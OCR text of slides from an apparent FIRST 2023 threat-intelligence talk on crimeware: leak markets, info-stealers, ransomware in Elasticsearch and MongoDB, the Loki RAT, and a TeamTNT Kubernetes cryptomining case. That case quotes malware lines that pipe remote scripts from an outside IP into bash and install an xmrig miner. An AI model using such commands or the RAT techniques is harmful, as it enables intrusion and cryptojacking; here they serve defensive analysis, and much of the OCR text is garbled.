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Disclaimer

Research presented in this talk is for sharing intelligence with security
community to strengthen the efforts for enhancing the security of critical
infrastructure and protecting users on the Internet.
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Data and Security Breaches : Present-day Scenario

Data Dollar: The new currency

Data is the New Currency. Don't Let It Slip
Through Your Fingers

Data is the new currency and

Data Analytics is the new bank ) )
Consumer data is the next virtual

currency

Data Is the New Business Currency

The Era of Borderless Data Is Ending

Nations are accelerating efforts to control data produced within
their perimeters, disrupting the flow of what has become a kind of

Why Source Data Is The New

digital currency.

Currency For Retailers

Banking on Data, the New Currency of Financial Services
Information is the world's new currency — so
where's your wallet?

The Top 50

BIGGEST DATA
BREACHES [=1

from 2004 - 2021

Adata breach is an incident where protected information
is copied, stolen, or exposed to an unauthorized person

companies belong to. There
are10 in total.

The number of records lost per sector is shown below:
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Data Distributed in the Crimeware World

[US] Manufacturing/Tech company data for extortion ($50,000,000 revenue)

q|v
TATA

TATA POWER

India's Largest Integrated Power Company Tata Power, formerly a part of the three entities jointly known as Tata Electric Companses, is a pioneer in technology adoption, with many fist

10 lts crodit, supporting the country's energy independence.Tata P

together with its subsidiaries & joint entities, has a generation capacity of 13,735 MW of which 35% comes from clean energy sources. The company has the distinction of being among the top private players in each sector of the value d
and value-added services. Tata Power Is a pioneer credited with steering the energy sector on technology, process and platform. Powering emerging technologles for the ‘smart” customer, Tata Power's latest business
Iifestyle, s poised for multi-fold growth.Since its inception in 1915, Tata Power now has over a century of expertise in technology leadership, project exacution excellence, worid-class safety processes, customer care and driving green:

committed to 'lighting up lives' for generations to come.
Note: | used SQL prefix as there is no prefix for this kind of files.
Website: https

Published online on: 24 October 2022

Breached by Hive.

Download Size: 42G8
Total Size: 71GB

Zip file's tree: ht

Crodnep: Sampies:

Welcome to www.Rydox.CC Online Market!
One of the first Underground Markets since 2016,

usas Tk ALy
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As time is going, everyday we are getting bigger and bigger, with more than 60 Sellers selling High Quality Tools and more than 35.000 Registered Clients, we try to offer the Best Professional Spamming Tools, to ease your work.
We try to offer, everything that has to be offered with a perfect price.

We have 5 sections in the store : Accounts | Stuff | Special | Tutorial | Office365
‘We do daily Fresh Base Updates on :

~Credit Cards - Freshly Spammed, High Balance, Live and Checked.
~cPanels (Long Lasting)
-Shells.
-SMTPs - (Company SMTPs, High Limit, Heated, Inbox to nearly all Mail Providers.)
~Mailers (Inbox Delivery)
~Webmails (Godaddy, lonos 1&1, ShawCable, Centurylink, Comcast)
-ADPs (Hacked and Created, Long Lasting and Renewable)
(Latest 2022, ), Long Lasting, Very ive)
-Dating Accounts / Shopping Accounts / Streaming Accounts and many more at cheap prices.

For any missing Tools, do not hesitate to contact us via Ticket or Live Chat.
Payment on Store s Bitcoin and Perfect Money, USDT, Ethereum, Ripple, Litecoin, Monero and more than 15 other Cryptocurrencies.

For any non-working/Bad Tool you can just click the REPORT button after Purchase and we take care of the rest
We either Replace or Refund within 30 Minutes of your precious time.

1f you want join Rydox / Be a Resaller(Only Valid Sellers)
We can give 2008 Reseller Access into your hands for Free.

*Reseller takes 60% of the sales.

*You can add any tool/account you think it can be worth Selling.
*Payments are sent every 2 weeks on Sunday Midnight.
*Payments can be sent on Bitcoin and Perfect Money.

& ipsisalicioud

[PRIVATE] CLOUD IN TELEGRAM, WITH MAIL ACCES

COMBOLIST JP

865 Stealer Logs

Any sure seller with fresh officad6s logs

206K HQ SPAIN COMBOLIST

K PHILIPPINES COMBOLIST EMAILPASS

245K BULGARIAN COMBOLIST EMAIL:?/

815 Stealer Logs

ler Logs

350 Stealer Logs
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(] Hosen crenea.

f you're nterested and want more information contact me on Matrix @shesaidshewaslegal:matrix.org OR contact me on taleg

The company has had all of its

Dark Leak Market

already and

ol as its bac tod,

Data includes:

ms

are, 2.7k

Centificates validating machines that the comp

mofa.gov.sa Data

Full Database Dump
Emails Dump
and Files

4.0 stars

doy November 4,2022 a1 1023 PM

[
Country: Uni
Description: |

Total Stze: 2
Data Type:

contact for communication:

in the first photo

on the second

on the third and fourth photo
i bout
XM-1155 Pha:

the fifth photo
hows the corn

lepeiti x soBouy | Orcnexars

Dark Leak Market

750 $
0.04369803 1

BUY
ANONYMOU
SLY

Buy Anonymousty / No
Neod to Register or
ogin.

We do not store Any
Logs for Users who
want 10 buy
anonymously Just
Click Below to go
Checkout page. Do not
worry Aftar Sales
Support is Available for
All Purchases.
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Dissecting Advanced Threats

* Advanced malicious code running inside the systems and capable of:

® subverting the integrity and confidentiality of system including data.
® launching network attacks and exploit additional systems
® exfiltrating sensitive data from compromised cloud workloads Aﬁ
® transforming organizational cloud assets to launchpads for conducting cybercrime \W/
® abusing the internal cloud environment controls for unauthorized operations
® impacting the organizational operations, customers and brand value
N0
" Advanced threats characteristics: actions ? &tv’)
°

masquerading, tampering, hijacking, subverting, persistence, modification, evasion, etc.

" Threat actors - that own and operate advanced threats !

® attackers, malicious insiders, nation-state actor, cybercriminals and others

#Fin>1CON23



/

Information
Stealers

Ransomware

Stealing credentials,
sensitive data from
compromised
systems to conduct
fraud

Malicious code
targeting users for
monetary gains

Service Booters

Cryptominers

Abusing network
protocols for
subverting service
availability by
launching DDoS

Utilizing the
compromised
systems to mine
crypto currency via
Cryptojacking

Advanced Malicious Code: Digital Weapons

G ]

Remote
Administration
Toolkits (RATSs)

Payload
Downloaders

Wrapper
packages used for
downloading exploit
payloads — (Drive-by
Download Attacks)

Used for privilege
escalation, lateral
movement and
maintaining
persistence

Communication
Hijackers

Scanners and
Exploit
Frameworks
Malicious code used
to hijack
communication
channels to conduct
MitM, MitC and
MitB attacks

Scanning, Phishing
and exploiting
vulnerable systems
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Advanced Attacks and Malicious Code
Case Studies

35" ANNUAL FIRST CONFERENCE | EMPOWERING COMMUNITIES



TeamTNT: Kubernetes Attack Model for Cryptomining
(/ )
//( \ Infected ) @ \ ‘%‘

Pod
(1) Kubernetes
Cluster
Node
Compromised
Kubelet Y,

\\
\\

(5) (3
/1. The attacker exploits exposed and vulnerable Kubelet. \

2. The attacker compromises the pods (installing utilities to trigger

privilege escalation and launch reverse shell) running in a
specific node in targeted Kubernetes cluster (4)
3. Malicious payloads are downloaded from the remote location

from the Internet

4. The compromised pod environment is enhanced by installing
new packages such as Nvidia drivers to enhance the GPU
capabilities

5. Compromised nod is then used to install crypt miners to start

\ crypto mining operations /

v

J

J
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TeamTNT: Kubernetes Attack Model for Cryptomining

function download_driver_via_http
local driver_url_path=$1
local downloaded_file=$2
echo "Could not use Google Cloud Storage APIs to download drivers. Attempting to download them directly
# curl http://45.9.148.XXX/cmd/init.sh | bash echo "Downloading driver from URL: ${driver_url_path}"

curl http://45.9.148.XXX/cmd/Kubernetes_root_PayLoad_1.sh | bash LE8 =00 TR AL I =0 St i/

echo 'Download driver via Web failed!'
curl http://45.9.148.XXX/cmd/Kubernetes_root_PaylLoad_2.sh | bash rm ~f "${downloaded_file}"
echo "${downloaded_file} deleted"

function DOWNLOAD_FILE

echo "[x] Downloading advanced xmrig to /usr/sbin/.configure/xmrig.tar.gz"

if type wget 2>/dev/null 1>/dev/null; then wget —q $XMR_1_BIN_URL -0 /usr/sbin/.configure/xmrig.tar.gz

elif type wdl 2>/dev/null 1>/dev/null; then wdl —q $XMR_1_BIN_URL -0 /usr/sbin/.configure/xmrig.tar.gz

elif type wdl 2>/dev/null 1>/dev/null; then wdl —-q $XMR_1_BIN_URL -0 /usr/sbin/.configure/xmrig.tar.gz

elif type curl 2>/dev/null 1>/dev/null; then curl -s $XMR_1_BIN_URL -o /usr/sbin/.configure/xmrig.tar.gz function get_setadata_valuel)

elif type cdl 2>/dev/null 1>/dev/null; then cdl -s $XMR_1_BIN_URL -o /usr/sbin/.configure/xmrig.tar.gz h? T”ry'.

elif type cdl 2>/dev/null 1>/dev/null; then cdl -s $XMR_1_BIN_URL -o /usr/sbin/.configure/xmrig.tar.gz ooy y empatenos

elif type bash 2>/dev/null 1>/dev/null; then C_hg_DLOAD $XMR_1_BIN_URL > /usr/sbin/.configure/xmrig.tar.gz i

il oot awt adaia. value Instanse/sttributes/s1®

tar —-xvf /usr/sbin/.configure/xmrig.tar.gz -C /usr/sbin/.configure/ 2>/dev/null

rm —f /usr/sbin/.configure/xmrig.tar.gz 2>/dev/null 1>/dev/null

chmod +x /usr/sbin/.configure/xmrig

if f "/usr/sbin/.configure/xmrigMiner" then chmod +x /usr/sbin/.configure/xmrigMiner; fi
usr/sbin/.configure/xmrig -h 2>/dev/null 1>/dev/null

CHECK_XMRIG=$

x .sh disable=sC1091
S{ENV_rie)”

function install linux_headers()
vz 1isux headers. Note t be changed after

64 >
rs for each driver
1 linux headers: linux-headers-§(uname -r)"

-y linux-headers-$(unase -r) exit 1

# Try to download driver via Web if GCS failed (Example: VPC-5C/GCS

if "'$CHECK_XMRIG" o then Gaogle Cloud Storage APLs to dovnloed driver. Attepting to downlosd them directly from Wvidia.®
if f /usr/sbin/.configure/xmrig oot ~my 8 (drivar ur) pathle -0 -8 {dovl

then echo "WARNING: /usr/sbin/.configure/xmrig is not functional" Tt “adovntosded fle)" 0 o

if f "/usr/sbin/.configure/xmrig" |;then rm —f /usr/sbin/.configure/xmrig; fi e T dmmiontes thiey gniet

if f "/usr/sbin/.configure/xmrigMiner" then rm —f /usr/sbin/.configure/xmrigMiner; fi

else

echo "WARNING: /usr/sbin/.configure/xmrig was removed" Tocal s . T oamast, €4-0{DaTVER VERSION) . rua®

ali7 f "/usr/sbin/.configure/xmrigMiner" |;then rm —f /usr/sbin/.configure/xmrigMiner; fi o Ve o Javidiardr ivers-us-pablic/tesla/s (GRIVER VERSION)*

fi local driver_gcs_tile_pathe$(DRIVER_GCS_PATH}/${avidia_driver_file_name)
echo “Downloading driver from CCS location and imstall: S{driver_ges_file path)®
wot vo

Kubernetes root payloads (scripts ) are fetched from the NVIDIA drivers were fetched and installed on the
compromised node which install XMLRig crypto miner compromised pod (running in nodes) to conduct robust
crypto mining operations
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Ransomware Targeting Cloud Databases

|
v

elasticsearch

hits {u'hits': [{u'_score': 1.0, u'_type': u'_doc', u'_id': u'config:7.4.0', u'_source': {u'type':
u'config', u'config': {u'buildNum': 26392}, u'updated_at': u'2020-11-10T18:06:57.633Z2'}, u'_index':
u'.kibana'}, {u'_score': 1.0, u'_type': u'_doc', u'_id': u'l', u'_source': {u'message': u'All your data is a
backed up. You must pay 0.04 BTC to 14Ru3Kvvy7GlGSFKS4RXeDKC4KazFDwppy 48 hours for recover it. After 48
hours expiration we will leaked and exposed all your data. In case of refusal to pay, we will contact the
General Data Protection Regulation, GDPR and notify them that you store user data in an open form and is not
safe. Under the rules of the law, you face a heavy fine or arrest and your base dump will be dropped from
our server! You can buy bitcoin here, does not take much time to buy https://localbitcoins.com with this
guide https://localbitcoins.com/guides/how-to-buy-bitcoins After paying write to me in the mail with your DB
IP: recoverdb@mailnesia.com and you will receive a link to download your database dump.'}, u'_index':

u'read me'}], u'total': {u'relation': u'eq', u'value': 2}, u'max_score': 1.0}

_shards {u'successful': 2, u'failed': 0, u'skipped': 0, u'total': 2}

Elasticsearch database infected with ransomware

#Fin>1CON23

MongoDB database infected with ransomware

"debug": false,

"compilerFlags": "-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fPIC -fno-strict-aliasing -ggdb -pthread -
Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -03 -Wno-unused-local-typedefs -Wno-unused-func
tion -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99",

"maxBsonObjectSize": 16777216,

"sysInfo": "Linux buildl6.njl.l0gen.cc 2.6.32-431.3.1.el6.x86_64 #1 SMP Fri Jan 3 21:39:27 UTC 2014 x86_64 BOOST
_LIB_VERSION=1 49",

"loaderFlags": "-fPIC -pthread -Wl,-z,now -rdynamic",

"gitVersion": "534b5a3£f9d10£00cd27737fbcd951032248b5952"

"totalsize": 83886080.0,
"ok": 1.0,
"databases": [
{
"sizeOnDisk": 83886080.0,
"collections": [
"system.indexes",
"README"
1
"name": "READ__ME_TO_RECOVER_YOUR_DATA",

"empty": false . mongo DB@
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Ransomware Targeting Cloud Databases: Detecting Infections

elasticsearch

$ python strafer.p):y.zt‘:l 9200 ransomware

[#] Checking the <GEOIP> status of the Elasticsearch instance
[*] Elasticsearch instance is located in <US> | <America/Detroit>

[*] elasticsearch url is constructed as: :251:9299

[*] dumping the search index info to check ransom demand
[*] sending request to the source index to analyze the ransomware asks by the malware operator
[*] valid URL configuration is: http://:]251:9200/_search?pretty=true

[#] ransomware warning message text pattern matched | pattern - (bitcoin)

[#] ransomware warning message text pattern matched | pattern - (index:read_me)

[#] ransomware warning message text pattern matched | pattern (data backed up)

[#] ransomware warning message text pattern matched | pattern (bitcoin_account_identifier)
[#]
[#] [Elasticsearch Ransomware Infection - Highly Probablel
[#]
[#] Dumping the full data

hits {u'hits': [{u'_score': 1.0, u'_type': u'_doc', u'_id': u'config:7.4.0', u'_source': {u'type': u'config', u'config': {u'buildNum': 26392
}, u'updated_at': u'2020-11-10T18:06:57.633Z'}, u'_index': u'.kibana'}, {u'_score': 1.0, u'_type': u'_doc', u'_id': u'l', u'_source': {u'mes
sage': u'All your data is a backed up. You must pay 0.04 BTC to 14Ru3Kvvy7G1lGSFKS4RXeDKC4KazFDwppy 48 hours for recover it. After 48 hours e
xpiration we will leaked and exposed all your data. In case of refusal to pay, we will contact the General Data Protection Regulation, GDPR

and notify them that you store user data in an open form and is not safe. Under the rules of the law, you face a heavy fine or arrest and yo
ur base dump will be dropped from our server! You can buy bitcoin here, does not take much time to buy https://localbitcoins.com with this g
uide https://localbitcoins.com/guides/how-to-buy-bitcoins After paying write to me in the mail with your DB IP: recoverdb@mailnesia.com and

you will receive a link to download your database dump.'}, u'_index': u'read_me'}], u'total': {u'relation': u'eq', u'value': 2}, u'max_score
': 1.0}

_shards {u'successful': 2, u'failed': @, u'skipped': @, u'total': 2}

took 1

timed_out False

[*] request processed successfully ! exiting !

Strafer Tool: Detecting ransomware infection in
Elasticsearch databases

Enfilade Tool: Detecting ransomware infection in MongoDB
databases

$ python enfilade.py 18:7 27017 intrusive_check_ransomware

Checking the <GEOIP> status of the MongoDB instance
MongoDB instance is located in <US> | <America/New_York>

MongoDB instance identifier is constructed as: mongodb://lB[:)7:27017

Target : <18:7:27617>
Initiating <[INTRUSIVE CHECKS]> for <[RANSOMWARE DETECTION LOGICI>....

Dumping the identifiers of all the databases on: <[18:7:27017]>
READ__ME_TO_RECOVER_YOUR_DATA

admin

config

Checking for potential traces of ransomware notifications and messages

Database with potential ransom trace detected
Suspicious database detected: <[READ__ME_TO_RECOVER_YOUR_DATAI>

Suspicious collection name with ransomware trace detected <[README]>
Suspicious collection handle: Collection(Database(MongoClient(host=['18.221.206.137:27017'], document_class=dict, tz_aware=False, connect=True,
serverselectiontimeoutms=5000), u'READ__ME_TO_RECOVER_YOUR_DATA'), u'README')

[*] Dumping the suspicious collection records for potential <[RANSOMWARE]> messages and notifications

[*] {u'content': u'All your data is a backed up. You must pay ©0.03 BTC to 15EyXBgZi88pqyN9dapDpghX5kfsnMiWLK 48 hours for recover it. After 48 hour|
s expiration we will leaked and exposed all your data. In case of refusal to pay, we will contact the General Data Protection Regulation, GDPR and
notify them that you store user data in an open form and is not safe. Under the rules of the law, you face a heavy fine or arrest and your base dum|
p will be dropped from our server! You can buy bitcoin here, does not take much time to buy https://localbitcoins.com or https://buy.moonpay.io/ Af
ter paying write to me in the mail with your DB IP: myDBxm3@recoverme.one and you will receive a link to download your database dump.', u'_id': Obj
ectId('60e70d949eb05c6549782eff')}

[*] Target <[1§_____ 17:27617]> is potentially infected with <[RANSOMWARE]>

[*] Request processed successfully ! exiting !

’ mongoDB.
8
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Loki Botnet and Remote Administration Toolkit (RAT)

Settings

Home

P os Country

2382136117 Windows United States

Loki: bot management commands

SSH

Command

# ————[ Available Commands ]-———— #
reconnect Force the remote computer to reconnect reconnect
disconnect Force the remote computer to disconnect disconnect
screenshot Capture a screenshot screenshot
logger_start  Start keylogging logger_start
logger_stop  Stop keylogging logger_stop
logger_dump  Display keystrokes logger_dump
chrome Launch Chrome browser chrome <tabl> <tab2> <tabn> L2y g Lesioaodo Lo s
persist_create Create persistence persist_create Internal IP : 192.168.0.26
persist_remove Remove persistence persist_remove External IP : 23.82.136.117
screen_start  Start screenshare screen_start <updateTime(sec)>
screen_stop Stop screenshare screen_stop Geolocation
screen_status  Status of screenshare screen_status
ftp_status Check the status of a file transfer ftp_status Country @ United States
upload Upload a file to the remote computer upload <file> Region : Florida
download Downaload a file from the remote computer download <file> City s Pelican Bay
Zip : 34108 Loki Home tir Logout
Override a running process by using —-override after the args
Example: download blueprint.pdf —-override Latitude : 262312
Longitude : -81.8056 Bots Bots:1 IP:127.0.0.1 Port: 8080
Timezone : America New York » © S COURY)
0471bd4a 2382136117 Windows United Stotes . R
Stop Server
Command SsH System
SHTFT TTTCS e poSTTTONOT paTANETeTS T DAt TTTES- ID : 0471bd4a
SHUTDOWN Allows proper local or remote shutdown of machine. @88 T 0
€y S o 0S Version : 10.017763
START Starts a separate window to run a specified program or command.
SUBST Associates a path with a drive letter. Hostname : DESKTOP-JOD1CN4
SYSTEMINFO Displays machine specific properties and configuration. Username : Mohamed
R . . . TASKLIST Displays all currently running tasks including services. .
. TASKKILL Kill or stop a running process or application. Networl
Loki Botnet: data exfiltration techniques used to own, L o e e
TITLE Sets the window title for a CMD.EXE session. (=78 IereardbUen 73
* * TREE Graphically displays the directory structure of a drive or Internal IP 3 192.168.0.26
operate and exfiltrate data from compromised systems Ecamallp 5 2813117
TYPE Displays the contents of a text file.
VER Displays the Windows version. Geolocation
VERIFY Tells Windows whether to verify that your files are written
correctly to a disk. Country : United States
voL Displays a disk volume label and serial number. Region : Florida
XCOPY Copies files and directory trees. City s Pelican Bay
wiIc Displays WMI information inside interactive command shell. e 2
For more information on tools see the command-line reference in the online help. (Ereog 252
Longitude : -818056
| Timezone @ America New York
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Loki Botnet and Remote Administration Toolkit (RAT)

01834118 1084110100180 0841 8EAEGD 1048148 141 mime v [l Loki.Rat
T 00 BT 111010 D501 110100 11110 0w 10a1 1180 11110 N 0001 1 17 08 1109070101000 811101019011 101108 11 D118 1094810 1110108 141019
11981881111G150108 1911 081608 1 THOIGIOT1R GE OO0 GGG 1489 WG 111G server
0501101010168 44601 01016448 Bs0 w1010 w g ! 1 2 1050018454018 19040 BODIV1D 1200 v 7 webui
0111003000 101011 1 0101 10 108 owweey  mm ame w don r ! ™ o T P —
14040 100 4040 1004848 18 134440 { 40 4000 18040001 140 1100, 001, 10 14040 48 21104010 4000808 { & L LLET 1400140 40 448440404040 4084842 14 4040400 1441 static
100 10101181118 1190008 154178 1o 0 PR S — " o] o008 000100101 190 O 11090 =
910110 19108 1981810012 10 0813140 an ’ e J0 9100 111010810001 113981 110180 100 > __pycache__
1010001011 110004101041 00101848 r 1104 ] 10000 10 10001 1301 12 190000 1410108 9001 1109001 > BB templates
e . o ¢ ' o won w0 P p———
o110 9808 12108 O index.html
0070 1100110 10 11010101401 101601 1013101010 01 100 001110 }1010070 1 10018 1013101 1124101080101 12150 108 10010 1011010100018 1601010010111 1480108 1011101 10090RD1 110 —
11010119070 1011978 900318181190 101000808 11118109011 11° 1010160 10/00101110 118 18050101110 02180 060 1991011 1012181190108 190°0 1019318080101 10 0G-008 111160 111 | __init__.py
40040109040 110140 1000040 1110900 19081118190 141 18 190907 110 101118 0100 0101 10 101010000001 11 1810081091 2190101 10, 10900 1110100 104040 10 13040 10 148040104140 10 10041 10 19040 10 101 |ok|
810111011018050 101 110400100511 19011 118100108 180117 s R ——— - 11110140 06810111 193060 1101010311101 101018101108 1 10
P 21101018 18184100 1011201088310 24301038 4148 00114 flask
071 110400160 19011 190117116088 1111808 1131811 O P —— 0 1o 1+on a0ug0 100 11 10101 e ;
1001101010110 10100 190140 10 11240 10 1900080 11118 1900 101211100 1010101810 1001 1010011110108 1001001 118 11109090 11210 10010010181 1010808 101110 19018901118 1004111 api
081118108 11198 0 P — PP — 3444040011 40:08 1804501 410 404540 1840400 8 40108 4 0101 pycache
w0 10131 wea 0 0 mow P——— 101 1010101014108 118101818 1698 11010111018 11101 00 e o
440012400 141011212000 1 11008 900 112480 1 1000 o0t i i 310 131010 11241010300101 48 304840 141340108 141012 13 04 index.html
1011810190100 19101 1 10101630080 1 11181008 181111880110 101 ™ o SO11119100 0801410103 1117 198 1 6010001110108 1111068108108
1010101071110 11016DRQ 10111098 16D8 1110100 11178 10816108 14 Q901010 101017101 910808 111100 1 110811108 10301 @1 11R1A 8 loki.db
0101 11040081 19110101070 11600101010 1031810 8010 18 1011101 1 anu 01010080011 1101009 1 1008 110100 18A01 104601 1109110101070 1010100 loki.py
p— @y 19081090 1110090 1 1010100 100120108 110ADA4190 HONDERAD1 150 config.py

0010011900 1000110101 19010 10 1 1101010 9000000 1 100 19010 * @110 10 0 11001010 109010 1009010 1009010 10 1040109010 11101110 1908010 1110100 s
... models.py
00701010000 19101 1101101898010 1010010081118 80411101 P R —————
1810111907 1 1010100110160 10 0101071 10 19 ERO1R11 0 190010108101 9814101010107 1119 11010108120 10181191010 140308
9401 1404100050101 140400 1B004140 19041440180408 1904140815, o0 DAD404440 140000012141 12 1904000 1 44 4904000 1404341 13 49401 10431400 O index.html
0010101101015 6000801111618 1111600 11018 10101100 14 - 1611010003 1111016010501 1400811110103 111 108 9810011100 10801

" 4808 14814 11004 111018 100101918-110100100 100114008 11040 1 0100 builder.py
T T ——— i 4340 4453.010 0408 BE4348 1904840 404014540 401 90004 113109
10101040100 1218100104070 1 11011019800 10 1110108 19001 101801 1 awt 0 01011700101018 1013100101108 1 01101101 1101101BBE0 01110100 0T 1114 ;
.| config.py
010101001 41018010 11010180 1010193001 45410900 00 10ADBA540 0590 BED18 0 P —— s 0414010 1 1494 9043018 10410191010030001DTEAO01 1 10011 118004 _ payload.py
101014101 119608 101110100 0801 104001111108 194001 10010811101 1121070 11010601 w1 804000 1110108 11140700 100100 11901008 14070 111010101 1010HED 111110100 101411008 14010 111080
04013400 0184048 413140 020848 143138 102018103411 103408 53 4108 4148 982 @441 1. £1843100 10108 1048401 13048 4 1440401304181 43/010104100 4 1001044081342 412 43,00 4113149 . template_config.py
41181001171 160108 160117001308 1101011108117 1198100 1018-1101010 600308 11101008 0111 1011101001 1010101016810 101 11370 1901110110107 1 1001010100 1010104008 191-80 101070 1011101

agent

1048 10140010 124840 10 190 100 108 18 13 13401 1184104080810 113

Sppr el el et v ORI s bt e s st sl s e b e
178 AT 7 0 A 8 41 1 0 | o 101

A P ———— 4010104084408 104040 0 140110000 1401041010110 04148 118300 .. requirements.txt
S AR ; #M Th AT | <

it i W imibm N S ore an 00 T T R e e e s _config.yml
10904010 030600 14190080 0111800004100 1 @m0 00 0NN T TP e PETEPUDVPPRPPEVL 010100100 140110 11101E0E0G01 1010012 0011010 00 001 10010084101 Lokirat.jpg

S e e e et b T e P

140118110 1 910/0 D1 14100118 10BRI0101 19040 401148 114 {OIDARH0 /008 8 1140101 H14H01DII0I0} 1800118011101 410111008 40111 /1110418180108 M1 11D IIRIOND} 41 README.md
% WA 11 TR 53V 11 A 8 0 111 180111 54 414 1 1 1 VW00 ' 918 AP A SRR

wine_setup.sh

Loki RAT:" toolkit used to successfully infiltrate into
government systems and exfiltrate data
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Loki RAT: Data Exfiltration Case

@ Email:Compost /email.govin/service/hor X | QO Meeting s in progress, “« x| + vood o x

< Cc

& meaindia.webex.com/webappng/sites/meaindi e wnload/bf16555b29384f29b949f16f5477f€072MTID

© Meeting Info

Moderator MEA
Host

BANGKOK Good Governance

Compose % | @@ Meeting s in progress. 4 x|+ v %

¢« > c

BEIJING Kuala Lumpur T

Reply | ReplytoAl || Foward = | Aschive

& emailgo

Preferences  Video Tutorials  Login History

v Mail Folders o

&, tobox B 0« » AsisHER ATHUL Ravi-

CYBER
SECURITY

&) Sent Reganding VPN account requiremant dem beijing dem.beijing | | ARVIND KUMAR | Lekhan Thakkar | | Dr. Vivekanand 1.5,
&9 oras 20 i TIPS
3 o o i) (R Fres) (FORERATOMESR) (RS0 BY EG&IT
7 DIVISION
B Maiicious or phishir [ Sindnur Gowrav 307 PM

% YTO P 21122 W2021 ...ated Programme.pdf (52.6 KB) Download | Briefcase
B3 not Sent

e Dear All,

ATHUL JANARDHANAN

Urgent: Re: URGENT. Fwd: Good Governance day - MEA programme on 21 [ 2 PFA the revised schedule of today's Webinar

Do not save
any classified/

Attache 12:19 PM All times are mentioned in IST.

Saved Searches VAT submission of 4th quarter (October-December) for calendar year 2021

Regards
feUnmute v | (@) [ ° & Parti Tags T [ | )
- N v Zimlets h R
 Menu (T ELE T [@Meeting isin pr.. [ AvayalPo xis - L @ comparisoniPan... [B [AvayaAnalog.xI f@rictures V&2aT (e Good Govemance ek on 21 Decermben 202% (
. B - ® Archive
& Undosend [ - T ORDAN TRARKAT CCCCO-DET N e OV IS, TDF VIVERANANA To THOC Dt NEGMen govins: RAASTIREE
VPN account requirement- SCO Wing =S ° -
Attachment Alert l ]

TO2T AN

[

<hocoffice.beijing@mea gov.in>, "ABHISHEK SONDHI" <ict beijing@mea.gov.in>
Telephone Quotations for IP & Analog ¢ Sent: Monday, December 20, 2021 1:23:29 PM
Subject: URGENT: Fwd: Good Governance day - MEA programme on 21 December 2021

@ Upda

Dr. Vivekanand TS. Dec 20 3:55 PM
Dear Sit/ Ma'

Fud: [Homhop.allj IPR Circular 17.12.2021

MEA s organizing a day I
iing - Dec 203:22 PM that Mission atter
PEA detailed program b

‘Webinar/Seminar on Good Governance on December 21, 2021. MEA has requested
sions.
kup (time is mentioned in IST) and Wing wise allocation.

» Office of DCM

Loki RAT: examples of exfiltrated data
using known techniques.

Meeting by DCM on Administrative issue: 21 a103.30 pm
Decemb »
o 1 i » The webinar would be set up in the third floor conference room. Shri Abhishek Sondhi, ASO (IT) would be in

0920 3:05PM charge of the technical set up related to the webinar.

ot

f DCM Beijing

ers on Friday, 24 December 2021 at 03.00 pm
May also reach out to me in case of any queries.

ember 21, 19:34:50 %)

Loki RAT: exfiltrating email client screenshots
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Information Stealers in Action

Aurora Stealer

236

LOGS

HBOARD SETTINGS

BUILDER

CHECKER

26854

PASSWORD

904354

COOKIES

15

WALLETS

(]

#Fin>1CON23

@ tr.gov.turkiye.edeviet.kapisi

B comgoogle.android.gm

USER P GEO PASSWORD COOKIES WALLETS DATE AN
admin- 178.210.198.50 UA 218 5912 0 2022-08-03 | 17:57 o
prashant-PC 139.167.240.10 IN 493 2018 0 2022-08-03 | 17:56 o
Magi-PC 185.37.27.25 RS P 651 1] 2022-08-03 | 17:55 o
PC-Lite 77.122.109.198 UA 0 30 0 2022-08-03 | 17:54 o
DESKTOP-2B6HOD9 177.133.54.93 BR 46 6532 0 2022-08-03 | 17:54 o
SONY-PC 203.187.194.10 IN 92 3590 0 2022-08-03 | 17:54 o
'y P - 3 0 ymc
NeXUS Stealer Injects Cookle Lve Bot's Global's Bullder Clear logs Tutorial ;
Al v Online X Offline BWithwallet B No wallet S Withbanks & No banks #Withlogs ~ #Nologs 25 ~ © Acce
© Access off @ Adminon ' Admin off @sScreenon R Screen off Countries~ Token~ =
| Bot Tag Device Comment Injects Connection status
c ChromeTest  SAMSUNG SM-AS25F 13 Cookie injects =
e ol TIRAMISU B com.google.android.gm e
W 31de376ffcea30cgaae31f547dc1 eda3 12ReL frse. e Mar20zs
C King XIAOMI 2201116TG 11 R ': com.linkedin.android {ast:
88.236.112.213 YIREL il trendyol.com :
M 42e3290d34e0479bacf4641af72692¢ § com.ziraatziraatmobil PESCRNIS Vara0ss

ors

THE BEST STEALER OF THE MARKET

g @

What can we offer?

undetectable from most

steal

MESSENGER

FUD

modem

antivirus 2

CRYPTO

1 WEEK 1MONTH
PAYMENT
il ® sc ‘-$ usDT
Contact
b -
- Mint Stealer
Sl chart =
\’.
o b
tme/mintOnTop  *%

WEB PANEL

Builds

Raccoon Stealer

Current version:

. 3554 (4]

= New e

o
L  Proxies
Logs
Suppo ® 620843
* @ S
9, 628a2c...
®  628az..
GAMES
recover g ion from a3
various games 2 628301 ..
®  e2m3f...
BROWSERS
® 628384,
hromium )
® 62838
758
il
3 MOUNTH
® e @ uc | L0GS 108
o Vioad All Delete All
Ganna
b el PASS COOKIES
Se 3 COUNT  COuNT
o
t.me/stupor (]
19 1085

buildid

buildid

buildid

516033

663290

663203

.316448

316436

08508

e8%ac?

% pASSWORDS 3651

TAG

buildid

buildid

) XD

2.0.0-beta

o D RO

2022-10-20

® Version

2.00-beta

2 stEAm 17

TELEGRAM

Raccoon Stealer

& Proxies } Config

Files

Fies

Titan Stealer

% waAuETS 81

STEAM

No 265.044KB |

No 160.133K8 | ]
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Need of the Hour - Exploiting Command

and Control (C&C) panels (crimeware) to
extract and analyze exfiltrated data related to
compromised systems to generate threat
intelligence and design proactive strategies to
combat future threats
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Compromising C&C Panels - Why ?

restrict the infections by jamming
the communication between the
compromised systems and the C&C
panel

generate threat intelligence by
analyzing the inherent
functionalities of the bot

analyze the exfiltrated data from the

compromised systems to determine

potential security breaches

Step (1): Bot sends its identity information including specific
details of compromised end-user system in encrypted format

Step (2): C&C server operated by bot herder
sends latest encrypted configuration updates
to the bot

v

. C&C Server
Compromised
End-user System Step (3): After updating itself, bot starts

exfiltrating data over HTTP/HTTPS channel

Step (4): Encrypted data is
received by the C&C server
and decrypted immediately
and pushed to the storage
database

e HTTP - Hyper Text Transfer
Protocol
e C&C—-> Command and Control

C&C
Backend
Database

Refer: https://ieeexplore.ieee.org/abstract/document/6991594

35" ANNUAL FIRST CONFERENCE | EMPOWERING COMMUNITIES


https://ieeexplore.ieee.org/abstract/document/6991594

